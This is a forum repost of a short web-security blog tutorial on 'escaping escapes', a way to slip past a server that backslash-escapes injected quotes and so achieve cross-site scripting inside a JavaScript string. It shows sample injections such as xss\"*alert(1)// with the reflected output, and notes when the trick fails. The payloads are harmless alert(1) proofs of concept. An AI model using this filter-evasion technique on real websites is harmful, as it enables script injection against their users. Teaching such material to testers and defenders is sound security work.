Jump to content
Nytro

Escaping Escapes

Recommended Posts

Posted

[h=1]Escaping Escapes[/h]

April 20, 2011 By Justin Barron 2 Comments

Sometimes a server will escape special characters that are injected: For instance, injecting a " character and having it reflect as \":

Injection: xss"

Reflection:

[INDENT]x="[U][B]xss[/B][/U]\[U][B]"[/B][/U]";y=42;

[/INDENT]

Fail.

Sometimes, ironically enough, you can outsmart filters by using their own tricks against them. Try escaping their escape character like this:

Injection: xss\"

Reflection:

[INDENT]x="[U][B]xss\[/B][/U]\[U][B]"[/B][/U]";y=42;

[/INDENT]

Success!

However, if the server escapes your injected \ as \\, this technique will not work:

Injection: xss\"

Reflection:

[INDENT]x="[U][B]xss[/B][/U]\[U][B]\[/B][/U]\[U][B]"[/B][/U]";y=42;

[/INDENT]

Not fun.

If you’re able to break out by escaping their escape, you’ll need to blend back in with something other than a ", because the escaping process breaks the syntax:

Injection: xss\"*alert(1)*\"

Reflection:

[INDENT]x="[U][B]xss\[/B][/U]\[U][B]"*alert(1)*\[/B][/U]\[U][B]"[/B][/U]";y=42;

[/INDENT]

The *\\ following alert(1) is not valid syntax and will cause an error.

So…

Injection: xss\"*alert(1)//

Reflection:

[INDENT]x="[U][B]xss\[/B][/U]\[U][B]"*alert(1)//[/B][/U]";y=42;

[/INDENT]

Commenting out the rest is your best bet, unless they escape your // like \/\/. When this happens, I don’t think there’s much you can do.

Escaping escapes reminds me of the classic movie moment, when a bad guy gets the drop on a good guy, but then another good guy gets the drop on the bad guy. It always cracks me up when this evasion technique works.

Sursa: https://blog.whitehatsec.com/escaping-escapes/

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...